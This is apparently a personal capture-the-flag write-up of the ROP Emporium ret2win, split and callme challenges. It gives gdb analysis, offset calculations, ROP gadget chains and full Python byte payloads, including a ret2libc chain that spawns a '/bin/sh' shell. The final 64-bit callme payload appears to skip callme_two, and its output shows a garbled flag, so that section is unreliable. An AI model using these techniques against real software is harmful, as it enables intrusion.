ROP Emporium – Ret2Win Challenge (32-bit & 64-bit)
This is the beginning of my ROP journey :)
Download the binaries: https://ropemporium.com/challenge/ret2win.html
Download any architecture type that interests you.
Introduction
Return Oriented Programming (ROP) is the successor of classic buffer overflow techniques such as:
ret2libc- shellcode injection
Modern binaries often include mitigations like:
- NX (No eXecute)
- ASLR
- Stack Canaries
- RELRO
ROP bypasses these protections by chaining together small instruction sequences called gadgets that already exist inside the binary or linked libraries.
Program Analysis
Running the binary:
nastyax0@LAPTOP-DNJPR47V:~/ret2win$ ./ret2win
ret2win by ROP Emporium
x86_64
For my first trick, I will attempt to fit 56 bytes of user input into 32 bytes of stack buffer!
What could possibly go wrong?
You there, may I have your input please? And don't worry about null bytes, we're using read()!
> asdfghjkl;
Thank you!
Exiting
The program itself hints at a vulnerability:
“fit 56 bytes of user input into 32 bytes of stack buffer”
This strongly suggests a stack buffer overflow.
Disassembling the Vulnerable Function
Let’s inspect the pwnme function:
(gdb) disassemble pwnme
Dump of assembler code for function pwnme:
...
0x0000000000400733 <+75>: lea rax,[rbp-0x20]
0x0000000000400737 <+79>: mov edx,0x38
0x000000000040073c <+84>: mov rsi,rax
0x000000000040073f <+87>: mov edi,0x0
0x0000000000400744 <+92>: call 0x400590 <read@plt>
End of assembler dump.
(gdb)
Important observations
lea rax,[rbp-0x20]
This means the buffer is located at
rbp - 0x20
mov edx,0x38
0x38 = 56 bytes
So the program calls:
read(0, buffer, 56)
But the buffer is only:
0x20 = 32 bytes
Result
56 byte input
32 byte buffer
➡ 24 bytes overflow
Stack Layout
Typical stack layout for this function:
| saved RIP | <-- rbp + 0x8
| saved RBP |
| buffer | 32 bytes
Therefore to overwrite RIP:
32 bytes buffer
+ 8 bytes saved RBP
= 40 bytes offset
So we need:
40 bytes padding
+ new RIP
Testing the Overflow
Let’s confirm the crash:
(gdb) run < <(python3 -c 'print("A"*40)')
Starting program: /home/nastyax0/ret2win/ret2win < <(python3 -c 'print("A"*40)')
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
ret2win by ROP Emporium
x86_64
For my first trick, I will attempt to fit 56 bytes of user input into 32 bytes of stack buffer!
What could possibly go wrong?
You there, may I have your input please? And don't worry about null bytes, we're using read()!
> Thank you!
Program received signal SIGILL, Illegal instruction.
0x000000000040060f in deregister_tm_clones ()
(gdb)
This confirms:
We successfully overwrote RIP
Exploit
Now we locate the ret2win function:
x/x ret2win
0x400756 <ret2win>: 0xe5894855
Address of ret2win:
0x400756
Now craft payload:
padding (40 bytes)
+ ret2win address
Payload:
gdb < <(python3 -c 'import sys; sys.stdout.buffer.write(b"A"*40 + b"\x56\x07\x40\x00\x00\x00\x00\x00")')
> Thank you! Well done! Here's your flag:
Program received signal SIGSEGV,
Segmentation fault.
0x00007ffff7e21173 in do_system (line=0x400943 "/bin/cat flag.txt") at
../sysdeps/posix/system.c:148 148 ../sysdeps/posix/system.c: No such file or directory.
(gdb) x/x 0x00007ffff7e21173 0x7ffff7e21173 <do_system+339>: 0x2444290f
(gdb) x/i 0x00007ffff7e21173 => 0x7ffff7e21173 <do_system+339>: movaps XMMWORD PTR [rsp+0x50],xmm0
MOVAPS Crash Explanation
ROP Emporium hints about this issue:
The MOVAPS issue If you’re segfaulting on a movaps instruction in buffered_vfprintf() or do_system() in the x86_64 challenges, then ensure the stack is 16-byte aligned before returning to GLIBC functions such as printf() or system(). Some versions of GLIBC uses movaps instructions to move data onto the stack in certain functions. The 64 bit calling convention requires the stack to be 16-byte aligned before a call instruction but this is easily violated during ROP chain execution, causing all further calls from that function to be made with a misaligned stack. movaps triggers a general protection fault when operating on unaligned data, so try padding your ROP chain with an extra ret before returning into a function or return further into a function to skip a push instruction.
Why this happens
The x86_64 ABI requires 16-byte stack alignment before calling functions like:
system()printf()vfprintf()
If the stack is misaligned, instructions like:
movaps
will crash with a general protection fault.
Fix 1 — Add an Extra ret Gadget
Add a ret gadget before ret2win to restore stack alignment.
Payload:
nastyax0@LAPTOP-DNJPR47V:~/ret2win$ python3 -c
'import sys; sys.stdout.buffer.write(b"A"*40 +
b"\xe7\x06\x40\x00\x00\x00\x00\x00" + b"\x56\x07\x40\x00\x00\x00\x00\x00")' | ./ret2win
ret2win by ROP Emporium
x86_64
For my first trick, I will attempt to fit 56 bytes of user input into 32 bytes of stack buffer!
What could possibly go wrong?
You there, may I have your input please? And don't worry about null bytes, we're using read()!
> Thank you!
Well done! Here's your flag:
ROPE{a_placeholder_32byte_flag!}
Fix 2 — Skip the Function Prologue
Instead of calling the function start, jump one byte forward to skip the push rbp.
Payload:
nastyax0@LAPTOP-DNJPR47V:~/ret2win$
python3 -c 'import sys; sys.stdout.buffer.write
(b"A"*40 + b"\x57\x07\x40\x00\x00\x00\x00\x00")' | ./ret2win
ret2win by ROP Emporium
x86_64
For my first trick, I will attempt to fit 56 bytes of user input into 32 bytes of stack buffer!
What could possibly go wrong?
You there, may I have your input please? And don't worry about null bytes, we're using read()!
> Thank you!
Well done! Here's your flag:
ROPE{a_placeholder_32byte_flag!}
ROP Emporium – Split Challenge (32-bit & 64-bit)
Download the binaries: https://ropemporium.com/challenge/split.html
Download any architecture type that interests you.
For 32 bit Binary Analysis
For 32 bit binary we will do classic ret2libc, is calling convention of 32 bit system is stack based meaning first parameter of any function is pushed last and last parameter is pushed first
Moreover in 64 bit systems, these things changes a bit by register based conventions.
buffer size, determination:
(gdb) disassemble pwnme
Dump of assembler code for function pwnme:
...
0x080485b6 <+9>: push 0x20
0x080485b8 <+11>: push 0x0
0x080485ba <+13>: lea eax,[ebp-0x28]
0x080485bd <+16>: push eax
0x080485be <+17>: call 0x8048410 <memset@plt>
...
0x080485d9 <+44>: push 0x8048700
0x080485de <+49>: call 0x80483c0 <printf@plt>
0x080485e3 <+54>: add esp,0x10
0x080485e6 <+57>: sub esp,0x4
0x080485e9 <+60>: push 0x60
0x080485eb <+62>: lea eax,[ebp-0x28]
0x080485ee <+65>: push eax
0x080485ef <+66>: push 0x0
0x080485f1 <+68>: call 0x80483b0 <read@plt>
End of assembler dump.
Yet again same buffer “mistake” from 1st challenge, the read’s ccount is set to 0x60(96) but buffer is of 0x28(32) bytes
Exploit Startegy
we can extend up to like till we overwrite return address:
system() exit() ‘/bin/sh’ string
(gdb) x/s 0x0804a030
0x804a030
(gdb) p system
$1 = {<text variable, no debug info>} 0xf7dda8d0
(gdb) p exit
$2 = {<text variable, no debug info>} 0xf7dc9d10
run <
<(python3 -c
'import sys; sys.stdout.buffer.write(b"A"*40 + b"AAAA"+b"\xd0\xa8\xdd\xf7"+b"\x10\x9d\xdc\xf7"+b"\x30\xa0\x04\x08")')
Contriving a reason to ask user for data...
> Thank you!
[Detaching after vfork from child process 192]
ROPE{a_placeholder_32byte_flag!}
[Inferior 1 (process 188) exited normally]
(just a flag thing hence leaving till here than trying outisde gdb)
For 64-bit Binary Analysis
We need to perform Return Oriented Programming (ROP), but in 64-bit the key constraint is:
Arguments are passed through registers, not the stack.
Background
Every program starts execution from _start, which eventually calls main.
A typical function prologue looks like:
push rbp
mov rbp, rsp
This establishes the stack frame.
Memory Layout
A process has different memory regions:
- Static (compile-time) → fixed layout defined by compiler
- Dynamic (runtime) → managed during execution
Common segmentation:
--------------------------------------------
| r-xp | .text (executable code) |
| r--p | .rodata (read-only data) |
| rw-p | .data + .bss (globals) |
--------------------------------------------
| rw-p | stack |
--------------------------------------------
From /proc/<pid>/maps:
00400000-00401000 r-xp → .text
00600000-00601000 r--p → .rodata
00601000-00602000 rw-p → .data/.bss
7ffd........ rw-p → [stack]
Key properties:
.text→ read + execute (not writable)stack→ read + write (not executable)- This is enforced by W^X policy
Stack Frame Layout (x86_64)
After prologue:
[RBP + 0x8] → Return Address
[RBP + 0x0] → Saved RBP
[RBP - ...] → Local Variables
If a buffer overflow exists, we can overwrite:
- saved RBP (optional)
- return address (critical)
How RET Works
ret behaves as:
RIP = [RSP]
RSP = RSP + 8
So it:
- Reads the top of stack
- Jumps to that address
- Moves stack forward
Effectively:
pop rip
Why ROP is Needed
- Stack is not executable → cannot run shellcode
- But
.textis executable → contains valid instructions
So we reuse existing instructions (gadgets) ending in:
ret
Calling Convention (System V AMD64)
Function arguments are passed via registers:
1st → RDI
2nd → RSI
3rd → RDX
4th → RCX
5th → R8
6th → R9
Example:
system("/bin/sh");
Requires:
RDI = address of "/bin/sh"
Core ROP Idea
We do not manually execute push rdi.
Instead, we use gadgets like:
pop rdi
ret
This allows us to control register values via the stack.
Correct Stack Overwrite (ROP Chain)
After overflow:
[padding .................]
[saved RBP (optional).....]
[address of pop rdi; ret] ← overwrite return address
[address of "/bin/sh"] ← will be popped into RDI
[address of system()] ← next return target
Execution Flow
Step 1: Function returns
ret → jumps to pop rdi; ret
Step 2: Gadget executes
pop rdi
ret
- Loads
/bin/shinto RDI - Next
rettransfers control
Step 3: Control reaches system
RDI = "/bin/sh"
RIP = system()
Equivalent to:
system("/bin/sh");
Important Clarifications
- Stack does not automatically map to
.text - We explicitly place addresses of
.textgadgets on stack .textcontains instructions, not stack frames- ROP works by chaining
ret→ controlled execution flow
Final Idea
ROP is:
Using the stack as a sequence of return addresses to execute controlled instruction chains from
.text.
so pop rdi; ret address of /bin/cat flag.txt address of ret (to avoid misaligment) address of system address of exit optional to avoid segfaulting
Exploit Strategy
finding /bin/sh string
nastyax0@LAPTOP-DNJPR47V:/mnt/c/Users/Akanksha/Downloads/split$ xxd -u /usr/lib/x86_64-linux-gnu/libc.so.6 |grep -B 1 bi
n/sh
00197020: 6962 2F73 7472 746F 645F 6C2E 6300 2D63 ib/strtod_l.c.-c
00197030: 002F 6269 6E2F 7368 0065 7869 7420 3000 ./bin/sh.exit 0.
we found offset for /bin/sh string with the base address:
0x7ffff7dd5000 0x7ffff7dfb000 0x26000 0x0 r--p /usr/lib/x86_64-linux-gnu/libc.so.6
0x7ffff7dfb000 0x7ffff7f51000 0x156000 0x26000 r-xp /usr/lib/x86_64-linux-gnu/libc.so.6
0x7ffff7f51000 0x7ffff7fa4000 0x53000 0x17c000 r--p /usr/lib/x86_64-linux-gnu/libc.so.6
0x7ffff7fa4000 0x7ffff7fa8000 0x4000 0x1cf000 r--p /usr/lib/x86_64-linux-gnu/libc.so.6
0x7ffff7fa8000 0x7ffff7faa000 0x2000 0x1d3000 rw-p /usr/lib/x86_64-linux-gnu/libc.so.6
(gdb) x/2s 0x7ffff7dd5000+0x00197031
0x7ffff7f6c031: "/bin/sh"
0x7ffff7f6c039: "exit 0"
finding the address of system:
(gdb) p system
quit
$1 = {int (const char *)} 0x7ffff7e21490 <__libc_system>
(gdb)
finding the gadget for pop rdi; ret
nastyax0@LAPTOP-DNJPR47V:/mnt/c/Users/Akanksha/Downloads/split$ ROPgadget --binary ./split --opcode "5fc3"
Opcodes information
============================================================
0x00000000004007c3 : 5fc3
(gdb) x/2i 0x00000000004007c3
0x4007c3 <__libc_csu_init+99>: pop rdi
0x4007c4 <__libc_csu_init+100>: ret
(gdb)
python3 -c 'import sys; sys.stdout.buffer.write(
b"A"*40
+ b"\xc3\x07\x40\x00\x00\x00\x00\x00" # pop rdi
+ b"\x31\xc0\xf6\xf7\xff\x7f\x00\x00" # "/bin/sh"
+ b"\xc4\x07\x40\x00\x00\x00\x00\x00" # ret
+ b"\x90\x14\xe2\xf7\xff\x7f\x00\x00" # system
)' > paylo
nastyax0@LAPTOP-DNJPR47V:/mnt/c/Users/Akanksha/Downloads/split$ ( cat paylo; cat ) | ./split
split by ROP Emporium
x86_64
Contriving a reason to ask user for data...
> Thank you!
ls
flag.txt paylo split
cat flag.txt
ROPE{a_placeholder_32byte_flag!}
^X^Csplit by ROP Emporium
x86_64
Contriving a reason to ask user for data...
Segmentation fault (core dumped)
for the usefulString: /bin/cat flag.txt
nastyax0@LAPTOP-DNJPR47V:/mnt/c/Users/Akanksha/Downloads/split$ ROPgadget --binary ./split --string "/bin/cat flag.txt"
Strings information
============================================================
0x0000000000601060 : /bin/cat flag.txt
(gdb) run < <(python3 -c 'import sys; sys.stdout.buffer.write(b"A"*40 + b"\xc3\x07\x40\x00\x00\x00\x00\x00" + b"\x60\x10\x60\x
00\x00\x00\x00\x00" + b"\xc4\x07\x40\x00\x00\x00\x00\x00" + b"\x90\x14\xe2\xf7\xff\x7f")')
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
split by ROP Emporium
x86_64
Contriving a reason to ask user for data...
> Thank you!
[Detaching after vfork from child process 174]
ROPE{a_placeholder_32byte_flag!}
split by ROP Emporium
x86_64
Contriving a reason to ask user for data...
Program received signal SIGSEGV, Segmentation fault.
0x00007ffff7e3389b in buffered_vfprintf (s=0x7ffff7fa9760 <_IO_2_1_stdout_>, format=format@entry=0x40083c "> ",
args=args@entry=0x7fffffffdb78, mode_flags=mode_flags@entry=0) at ./stdio-common/vfprintf-internal.c:1734
1734 ./stdio-common/vfprintf-internal.c: No such file or directory.
(gdb) quit
A debugging session is active.
Inferior 1 [process 172] will be killed.
Quit anyway? (y or n) y
again if you want non crashable, then add a exit after the system()’s address (reccomended)
ROP Emporium – Callme Challenge (32-bit & 64-bit)
Download the binaries: https://ropemporium.com/challenge/callme.html
Download any architecture type that interests you.
Binary Analysis
Assuming you have read the instructions provided on the site, our goal is to locate and call the functions:
- callme_one
- callme_two
- callme_three
Dump of assembler code for function usefulFunction:
0x0804874f <+0>: push ebp
0x08048750 <+1>: mov ebp,esp
0x08048752 <+3>: sub esp,0x8
0x08048755 <+6>: sub esp,0x4
0x08048758 <+9>: push 0x6
0x0804875a <+11>: push 0x5
0x0804875c <+13>: push 0x4
0x0804875e <+15>: call 0x80484e0 <callme_three@plt>
0x08048763 <+20>: add esp,0x10
0x08048766 <+23>: sub esp,0x4
0x08048769 <+26>: push 0x6
0x0804876b <+28>: push 0x5
0x0804876d <+30>: push 0x4
0x0804876f <+32>: call 0x8048550 <callme_two@plt>
0x08048774 <+37>: add esp,0x10
0x08048777 <+40>: sub esp,0x4
0x0804877a <+43>: push 0x6
0x0804877c <+45>: push 0x5
0x0804877e <+47>: push 0x4
0x08048780 <+49>: call 0x80484f0 <callme_one@plt>
0x08048785 <+54>: add esp,0x10
0x08048788 <+57>: sub esp,0xc
0x0804878b <+60>: push 0x1
0x0804878d <+62>: call 0x8048510 <exit@plt>
End of assembler dump.
We are required to pass the parameters:
arg1 = deadbeefarg2 = cafebabearg3 = d00f00d
for all three functions.
On a 32-bit system, as discussed earlier, arguments are passed via the stack. This means we must push values directly onto the stack in the correct order.
Buffer Calculation
...
0x080486ed <+0>: push ebp
0x080486ee <+1>: mov ebp,esp
0x080486f0 <+3>: sub esp,0x28
0x080486f3 <+6>: sub esp,0x4
...
0x08048729 <+60>: push 0x200
0x0804872e <+65>: lea eax,[ebp-0x28]
0x08048731 <+68>: push eax
0x08048732 <+69>: push 0x0
0x08048734 <+71>: call 0x80484c0 <read@plt>
...
The buffer size is:
0x28 + 0x4 = 0x2c (44 bytes)
So:
"A" * 40 + "B" * 4 → reaches EBP
Stack Layout (32-bit)
Since arguments are passed via the stack:
esp-0x4 = function address
esp = return address
esp+0x4 = arg1
esp+0x8 = arg2
esp+0xc = arg3
Also note: the value intended for arg1 must be pushed last, since the stack grows downward.
First Attempt
run < <(python3 -c 'import sys; sys.stdout.buffer.write(b"A"*40+b"B"*4+b"\xf0\x84\x04\x08"+b"\xef\xbe\xa
d\xde"+b"\xbe\xba\xfe\xca"+b"\x0d\xf0\x0d\xd0")')
(gdb) c
Continuing.
Breakpoint 1, 0xf7fbe63d in callme_one () from ./libcallme32.so
Register Inspection
eax 0xb 11
ecx 0xf7fa89b8 -134575688
edx 0x1 1
ebx 0xf7fa6ff4 -134582284
esp 0xffffce10 0xffffce10
ebp 0x42424242 0x42424242
esi 0x80487a0 134514592
edi 0xf7ffcb80 -134231168
eip 0xf7fbe63d 0xf7fbe63d <callme_one>
eflags 0x296 [ PF AF SF IF ]
cs 0x23 35
ss 0x2b 43
ds 0x2b 43
es 0x2b 43
fs 0x0 0
gs 0x63 99
k0 0x0 0
This attempt fails due to incorrect parameters.
Some registers contain garbage or unintended values (which doesn’t matter much in 32-bit). What truly matters is the sequence of values placed on the stack.
Problem: Stack Cleanup
Since we are chaining function calls manually, the stack is not cleaned automatically. We must ensure:
- arguments are correctly aligned
- the stack is cleaned between calls
Initially, overwriting might seem like a solution—but it’s not ideal.
Observation
Breakpoint 1, 0xf7fbe63d in callme_one () from ./libcallme32.so
(gdb) info registers
eax 0xb 11
ecx 0xf7fa89b8 -134575688
edx 0x1 1
ebx 0xf7fa6ff4 -134582284
esp 0xffffce10 0xffffce10
ebp 0x41414141 0x41414141
esi 0x80487a0 134514592
edi 0xf7ffcb80 -134231168
eip 0xf7fbe63d 0xf7fbe63d <callme_one>
eflags 0x296 [ PF AF SF IF ]
cs 0x23 35
ss 0x2b 43
ds 0x2b 43
es 0x2b 43
fs 0x0 0
gs 0x63 99
This indicates that we need to manually pop values off the stack to maintain alignment.
Gadget Discovery
Here’s the nuance, gadget doesnt really matter in 32 bit system as in for registers but values we are able to clear from stack.
Stack Framing:
nastyax0@LAPTOP-DNJPR47V:$ ROPgadget --binary ./callme32 --depth 10 | grep "pop"
0x080487f8 : pop ebx ; pop esi ; pop edi ; pop ebp ; ret
Correct Stack Layout
esp-0x4 = function1's address
esp = pop gadget
esp+0x4 = arg1
esp+0x8 = arg2
esp+0xc = arg3
Repeat this structure for the second and third function calls.
Because this gadget performs four pops, padding (BBBB) was required to maintain proper alignment.
Final Payload
import sys
sys.stdout.buffer.write(b"A"*40+b"B"*4+
b"\xf0\x84\x04\x08"+
b"\xf8\x87\x04\x08"+
b"\xef\xbe\xad\xde"+
b"\xbe\xba\xfe\xca"+
b"\x0d\xf0\x0d\xd0"+
b"\x50\x85\x04\x08"+
b"\xf8\x87\x04\x08"+
b"\xef\xbe\xad\xde"+
b"\xbe\xba\xfe\xca"+
b"\x0d\xf0\x0d\xd0"+
b"\x5e\x87\x04\x08"+
b"\xef\xbe\xad\xde"+
b"\xbe\xba\xfe\xca"+
b"\x0d\xf0\x0d\xd0")'
Execution Result
run < paylo
Breakpoint 1, 0xf7fbe63d in callme_one () from ./libcallme32.so
(gdb)
Continuing.
callme_one() called correctly
Breakpoint 3, 0xf7fbe75a in callme_two () from ./libcallme32.so
(gdb)
Continuing.
callme_two() called correctly
Breakpoint 4, 0xf7fbe85a in callme_three () from ./libcallme32.so
(gdb)
Continuing.
ROPE{a_placeholder_32byte_flag!}
[Inferior 1 (process 1226) exited normally]
(gdb)
Switching up – 64-bit Binary
At first glance, this looks quite similar to the 32-bit version—just different addresses, right? However, the key difference lies in how arguments are passed.
In 64-bit systems (System V AMD64 ABI), arguments are not passed on the stack. Instead, they are passed through registers:
rdi→ arg1rsi→ arg2rdx→ arg3
So instead of pushing values onto the stack, we need a gadget that lets us control these registers.
Gadget Discovery
Luckily, we find a perfect gadget:
nastyax0@LAPTOP-DNJPR47V:$ ROPgadget --binary ./callme --depth 10 | grep "pop rdi"
0x000000000040093c : pop rdi ; pop rsi ; pop rdx ; ret
This gadget allows us to set all three required arguments in one go.
Function Addresses
(gdb) disassemble callme_one
Dump of assembler code for function callme_one:
0x00007ffff7c0081a <+0>: push rbp
(gdb) disassemble callme_two
Dump of assembler code for function callme_two:
0x00007ffff7c0092b <+0>: push rbp
Quit
(gdb) disassemble callme_three
Dump of assembler code for function callme_three:
0x00007ffff7c00a2d <+0>: push rbp
0x00007ffff7c00a2e <+1>: mov rbp,rsp
Payload Construction
-
Buffer overflow offset:
"A"*32 + "B"*8→ reaches return address (RIP) -
Then:
- Use
pop rdi ; pop rsi ; pop rdx ; ret - Load arguments into registers
- Call the function
- Repeat for all three functions
- Use
import sys
sys.stdout.buffer.write(b"A"*32+b"B"*8+
b"\x3c\x09\x40\x00\x00\x00\x00\x00"+
b"\xef\xbe\xad\xde\xef\xbe\xad\xde"+
b"\xbe\xba\xfe\xca\xbe\xba\xfe\xca"+
b"\x0d\xf0\x0d\xd0\x0d\xf0\x0d\xd0"+
b"\x1a\x08\xc0\xf7\xff\x7f\x00\x00"+
b"\x3c\x09\x40\x00\x00\x00\x00\x00"+
b"\xef\xbe\xad\xde\xef\xbe\xad\xde"+
b"\xbe\xba\xfe\xca\xbe\xba\xfe\xca"+
b"\x0d\xf0\x0d\xd0\x0d\xf0\x0d\xd0"+
b"\x3c\x09\x40\x00\x00\x00\x00\x00"+
b"\xef\xbe\xad\xde\xef\xbe\xad\xde"+
b"\xbe\xba\xfe\xca\xbe\xba\xfe\xca"+
b"\x0d\xf0\x0d\xd0\x0d\xf0\x0d\xd0"+
b"\x2d\x0a\xc0\xf7\xff\x7f\x00\x00")'
Execution Result
(gdb) run < paylo
(gdb) c
Continuing.
SMSA~gXxekhieacter_32byte_flag!}
[Inferior 1 (process 4059) exited normally]
Running Outside GDB
nastyax0@LAPTOP-DNJPR47V:$ nano rfv.py
nastyax0@LAPTOP-DNJPR47V:$ python3 rfv.py | ./callme
callme by ROP Emporium
x86_64
Hope you read the instructions...
> Thank you!
callme_one() called correctly
SMSA~gXxekhieacter_32byte_flag!}
Debugging Tips
-
Always set breakpoints at function addresses to confirm control flow:
b *callme_one -
If arguments are incorrect, inspect stack-relative values:
rbp+0x18 rbp+0x20 rbp+0x28These offsets are used internally by
callme_*functions to validate arguments.
Final Notes
- 64-bit exploitation relies heavily on register control, not just stack layout
- Gadgets like
pop rdi ; pop rsi ; pop rdx ; retare extremely valuable - Misalignment issues are common—debugging step-by-step is key
- These challenges provide ideal gadgets, but in real scenarios: You often need to get creative and chain smaller gadgets together